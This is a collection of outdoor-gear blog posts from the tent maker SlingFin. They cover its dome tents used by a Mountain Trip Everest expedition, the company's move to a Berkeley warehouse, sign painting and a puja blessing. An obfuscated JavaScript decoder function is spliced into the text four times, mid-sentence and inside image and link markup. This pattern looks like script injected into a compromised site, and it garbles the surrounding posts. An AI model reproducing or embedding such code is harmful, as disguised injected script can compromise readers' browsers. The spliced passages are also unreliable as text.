The L.F.D is at Camp 2!

The L.F.D through a fisheye lens. Nothing spells home like A 5 meter dome!

 

Located at 23,000 ft Camp 2 is also known as advanced basecamp, because it serves many of the same duties as the lower camp just smaller. This is exactly why we built the 200 square foot L.F.D.  With ten easton poles and ET70 fabric coated with titanium dioxide, the L.F.D is right at home here, and can withstand these harsh conditions for a very long time.

B.F.D in Everest basecamp with Mountain Trip banner.

 

Reports are that Camp 2 has been getting pummeled with 50-60 mph winds over the past few days,  yet the L.F.D stands strong providing shelter for the group to eat in.

L.F.D at Camp 2. The Mountain Trip boys getting all charged up.

Many thanks to our friends at Mountain Trip for all the great photos and in-depth blog postings!

-Photo Credit-- Mountain Trip.

 

 

 

 

If you want it done right, do it by hand.

Things have been very busy over here, between shipping tents to Nepal and working on new designs I have had  little time to blog about whats going on.  One of the things I'm really stoked on is the signage on the new space.  Jonathan Buck and I hand painted them and they look great! We even had some folks from the motorcycle shop across the street come by and ask if they could hire the guys that did it!

Getting ready to get dirty.

With a six pack and a handshake we sequestered the use of a scissor lift from the construction crew renovating the buildings around us. Armed with buckets of primer, rollers, tape measure, plumb line and Jonathan's sweet Carhartt onesie (I was a little envious) we set out to work on what we thought woud be an easy scissor lift ride.

We were sorely mistaken. This beast had "Genie" emblazoned on the side panel. Now I don't know if there was a genie in this thing, but it was definitely possessed . The joy stick had a twisted sense of humor, you wanted left it would go right, sometimes.. Other times it wouldn't do anything, every now and then it would go left if you were lucky. However if luck was not on your side, it would leave you stranded 15 ft in the air.  Like all machines it started to show trends in behavior, and with just a bit of percussive therapy and patience we had it working for us.  Honestly, figuring that crazy thing out was the most fun we had all day.

The Gilman street-side sign

We painted three signs in two days. I was really following Jonathan's lead on this one, he's the artist of the gang. In fact he is one of the most photo realistic artists I have ever seen. We made a good team, he detailed while I filled in the blanks.

The rear sign. Finished with sunshine to spare.

 

The other thing i'm excited about is the effect we are having on the community. I found a Google street view of the warehouse before it was renovated. It is quite amazing to see the changes that have happened over the last few months. When we first moved to our basecamp, across the street was filled with trash, sofas, chairs, clothes and guitar cases there was even a giant stuffed monkey with over sized clown sunglasses.That trash had to go, or at least get decorated. Lucky  for us we just had a set of SlinFin stencils made and were eager to try them out, so Tim and I went across the street and did a little test.. We recuited one of Berkeley's famous street personas to help us clean up the mess. He turned out to be a very lucid an intelligent fellow, and he had a killer work ethic!  We tried to help him but he refused saying, "I am fiercely independent!"  We loved this line and adopted it as a bit of a mantra.

We asked him how much he wanted for the job, stating that we had offered the previous guy (who never showed up)$40 bucks.  He said, "FORTY DOLLARS! I'll do it for twenty and a banana, and ill do it right now!"  I bought him some juice and fruit and he went to work, meticulously moving the debris into the large dumpster we acquired. He had it cleaned up in no time flat, he even raked and swept the area.  We gave him forty dollars. He totally deserved it.

Future. Classic.@ SlingFin HQ

The L.F.D from outside our front door

 

The area is really starting to look a lot better. There is new life being poured into this once forgotten industrial lot in east Berkeley. And people are taking notice, we get dozens of smiles and waves through our front door every day.

That's all for now, I have to go get some paint out of my shorts.

THANKS FOR READING!

=D

Everest at night

Photo- Neal Beidleman

BIG THANKS to the Mountain Trip team! These folks are putting SlingFins gear to the test and coming back with fantastic beta, and some amazing photography as well.

The B.F.D @ 17,500 ft Photo- Chris Davenport

There is something very satisfying about seeing the B.F.D. in its rightful place. To see a design go from paper and rulers to an extremely refined structure sitting at 17,500 ft set up as a communication center, or the L.F.D in Camp 2 as a dining tent (21,500 ft) it's very cool.

From M.T'S Blog: " Camp 2 is sometimes referred to as “Advanced Base Camp” (ABC) and we supply it to create an essentially smaller version of our base facilities. We have a kitchen tent with 4 Sherpas working hard to keep us fed and camp running smoothly, and a smaller version of our massive SlingFin dome that we’ve set up for our dining tent. The rest of the Sherpa team keep delivering loads of food, fuel, tents, and oxygen up here every couple of days to stage for the upper mountain. This morning they showed up with a dog following them. The dog crossed all the ladders with ease apparently… We’ll try to track down a photo of the dog on the ladder and post it later." I will definitely stay tuned to see a shot of that dog on an ice ladder!

The L.F.D in Camp 2 (21,300 ft) Photo- Mountain Trip.

 

Chris Davenport is one of the members of the Mountain Trip team. He just wrote a new book; function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe_mountain_sports/Fifty_Classic_Ski_Descents">Fifty Classic Ski Descents of North America. And from the looks of the above photo this guy is truly hooked on skiing. He is also the one taking some of the sweet night shots.

B.F.D at night -- Photo- Chris Davenport

Photo- Neal Beidleman

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-icefall-at-night-medium.jpg">function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-icefall-at-night-medium" src="http://digitalcobra.com/blog/wp-content/uploads/2011/04/base-camp-and-icefall-at-night-medium.jpg" alt="" width="800" height="533" />

Photo- Neal Beidleman

=D

The Puja was a win!

It took  alot of planning but the puja went off without a hitch. We had a turnout of more than 100 great people!

The food and drink were top notch, we had a fine spread of imported cheeses and a selection of Martins favorite German deli's cold-cuts and a keg of  damn good beer, Scrimshaw pilsner , from North Coast Brewery. But the "best in show" libations  by far were the fine Italian wines  selected by Dalla Terra:
>
> Inama Soave Classico - Veneto
> Ajello Nero d'Avola - Sicily
> Aia Vecchia Lagone - Tuscany
> Li Veli - Passamante - Puglia
> Marco Felluga Merlot - Friuli

Dalla Terra wines, who's founder Brian Larky  on top of being a fully rated pilot, 5th class whitewater guide, world class wine sommelier, and all around really good guy,  also happens to take stunning photos. He didn't bring his "good camera" but the shots he captured were still excellent, check out his puja smugmug here.

After the initial feeding frenzy died down, Lama Tenzing of the Palpung Lungtok Choeling Monstary arrived. He sat down and a serene silence filled the room.

 

Martin and Tim came to the front and kneeled down on a large crash pad in front of the holy man. He began to chant reading from a scroll, then reached into his robe pocket and pulled out a small baggie filled with rice.   He threw some grains to the North, South, East and West.   Just like that our new basecamp was well on it's way to being blessed.

Tsering Wangmo --Photo Jackie Moore

Then a beautiful Tibetan woman named Tsering Wangmo came to the front of the room.  She had a string instrument that I had never seen before called a Dramyen (i think) it had 6 strings in 3 sets of two. Each string in a set was under separate tension, when played it had a very interesting sound. She gave us a short intro of the songs she would sing, and then proceded to blow the room away. Her  voice was one the most enchanting and ethereal sounds I have ever heard a human produce.   The large concrete room reverberated with her song, I had the luck of sitting right in front of her.  The songs she sang shook my body and sent chills down my spine (in a good way). We found out later that she is very well renowned and has played at Carnegie hall.

The crowd was still ringing from the performance when a plate of barley flour was brought out and we were told to form a big circle. The plate was passed around and everybody took a small pinch. Tsering led us in a chant to finish the blessing, at the end of the chant everybody tossed the flour into the air. It was quite a sight to behold.

 

 

 

 

 

 

The rest of the time was spent giving tours of our design and production facilities and product demos.  Robert Link gave an epic slide show from his many travels all around the world.

This celebration was a big hit for SlingFin, it really got the company started on the right foot. Tons of good energy filled our space, and it shows no signs of leaving.  We even had a dove fly in the front door! (she also shows no signs of leaving;)

Now i gotta go sweep up some flour...

Peace.

=D

Sushi on Everest!

Our friends at MT have been honing their skills in preparation for the trip to the top.

Big thanks to laurie! Not only did she haul a L.F.D from the states to Basecamp, but she brought sushi too!

Life at basecamp seems like a lot of fun! They will have puja to bless the expedition and pay homage to the mighty mountain.

The Gear Caster blog hit

The fine folks over at The Gear Caster gave us a solid write up. Gear Caster is a good blog that follows all the new toys and tools to hit the outdoor market.

From The Gear Caster:

"

Newcomer Slingfin has set out to design a tent where all components are equally strong, making the tent stronger as a whole. Last weekend, the company held a puja ceremony at their new home in Berkeley, CA to bless the upcoming Everest climb with Mountain Trip, where the Slingfin tents will be put through their paces.

 

The Slingfin tents are based on Web Truss technology, designed to increase strength and make the tent easier to pitch. The Web Truss system is constructed out of a series of poles that fit into a continuous tent structure sleeve from one end to the other. All the Easton aluminum tent poles are the same length, making the tent faster and easier to pitch.

The Web Truss system has a smaller wind profile and during bad weather, the structure can be further tensioned at each sleeve opening. These openings are highlighted with a reflective strip so one person could easily pitch the tent, even in the dark.

Read more: http://www.thegearcaster.com/the_gearcaster/2011/04/slingfin-takes-the-everest-challenge.html#ixzz1JpCewfPF
Under Creative Commons License: Attribution Share Alike

B.F.D in E.B.C!

Welcome to Everest!

The crew at Mountain Trip have been working hard setting up a stout and luxurious basecamp! The B.F.D will be main meeting place for the team while in EBC, and will be the "dome away from home" for the basecamp managers over the next six weeks! It safely houses a staggering array satellite phones, solar power cells, batteries, laptops, function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe_Global_Area_Network">BGAN and other communication equipment. In addition to this  it will be the dining tent for 20+ people.

A crowd of sherpas gather to see what all the buzz is about.

 

As the team moves higher on the mountain the group shelters need to adapt to the conditions and become smaller, lighter, stronger! Enter the OneUp...

The OneUp is the most functional tent in our line, main goal of this structure is to be hyper versatile.  Think of the Webtruss as an exoskeleton that can adapt to your needs.MMMM... spacious...

The OneUp with four chairs!-Photo-Jackie Moore

Say the weather is pounding and your group needs shelter : Just stretch the fly over the frame and you have a massive "single wall" floorless tent that will fit 5-6 people with room to spare!   After your meal, reattach the inner tent body and you have a fully enclosed "double wall" bomb shelter that will sleep 2-3, with two huge freestanding vestibules.  This is what the OneUp will be used for in Camp-2.

OneUp with floor.

=D

Fun with the Webtruss.

The Webtruss is a truly beautiful thing.

In fact I think it is art of the highest degree.  A perfect marriage of form and function through design is a wonderful thing to interact with.

Case in point: The other day, a couple walked into the studio (the door was open and the grateful dead were blazing at top volume) they looked interested and a little confused. They said is this The North Face?  I grinned and said "Far from it!"

At this point Martin came up and offered them a beer  from a keg wrapped in sleeping bags. (Insulation testing)  This caused them to look a little more confused and subsequently more interested. I turned Jerry down a little, and took them outside to look at the tents.

She was an artist and he was an architect.  She said "driving by we thought this was an art installation". pushing on the truss with both hands the husband said "it is!"

I liked these people, they saw the marriage of art and function. So I took them over and removed a pole set from a Webtruss.  I gave her the poles and said "don't be gentle you can't hurt it."

She started cramming the pole into the sleeve, the architect sprung into action and was on the other end of the pole in a flash. At the same time they both exclaimed "WOW", then on to another pole, and another. the tent was up in no time flat.

 

=D

 

SlingFin on Everest!

A 3pc set of SlingFin’s biggest and baddest tents are on their way to the proving grounds at Everest basecamp courtesy of our good friends over at Mountain trip! For those of you who don't know, Mountain trip has  been safely guiding people on the worlds biggest peaks since 1973.  Bill Allen and his crew are very well rounded group of mountaineers and they have hand picked  a great crew for this trek. in addition to being solid mountain guides they also happen to be darn good writers. I highly recommend their blog Mountain Trip Everest Expedition Dispatches. Much like tents its the little things that matter in a blog and these guys get that, adding details like the local food and even what types of tree are blooming.  It all adds to the feeling of being right there. And this is why they get our tents.. the best deserve the best!

 

 

 

 

 

 

 

 

 

P.s.

I just want to add a little note here: This post was written from the inside of the High And Mighty tent we have set up in the parking lot (long term UV testing) today is a beautiful sunny day in Berkeley almost too hot in the sun. Not only is this tent cool on the inside, but i'm leaning up against the side wall like it was a bench! This thing is truly incredible.

=D

SlingFin has a New Basecamp!

We have moved to our new location!

The bay area has long been the genesis point for innovative outdoor gear. Gilman Street in particular has seen the rise of names like The North Face and Mountain Hardwear.  Berkeley alone has cradled more outdoor brands than any other city in the states hands down.

It took some serious route finding  but it proved to be worth the wait. We landed on Gilman Street in Berkeley C.A. a main artery for the birth of epic outdoor ventures. We are very grateful to have landed on this historic stretch.

We are the large brown building in the background.   And look who is right across the street...

It is a beautiful double warehouse space built in 1930 as an ink factory.  With foot thick cement walls this place is just how we like it.. built to last.

The first space comes equipped with two story high ceilings, this is a good thing because the setting up a B.F.D with 30 ft poles and a 415 sq ft floor plan, the average cubicle space just can't cut it.  Most of our time will be spent here, the huge skylights let in sun all day and this is where we want to be.. next to the tents! We even set up our massage table in our L.F.D.

The second space is about half the size in terms of height and width but just as long.  Yet what it lacks in size it makes up for with its contents. (that's saying something when next door is filled with tents that look like they fell of the moon).

In the finely organized boxes on the shelves lining this room is the most comprehensive library of tenting materials I have ever seen. There are rows of poles made of carbon fiber, titanium, scandium, steel and aluminum in every possible diameter, tent steaks and anchor systems from military to commercial grade, not to mention the clips, cams, hubs and fabric and webbing and thread.

The creative possibilities in this room are endless.  On the far wall is a line of industrial sewing machines, one of them we call "Bessie" her needle is as thick as a ten-penny nail, and the thread looks like twine.. Bessie could sew your grandpappy's boots together.

If it has been made in the past 30 years and it had to do with tents it's in here somewhere, and if it came in titanium Martin probably has that too..

=Devon

 

We are very grateful to have landed on this historic stretch.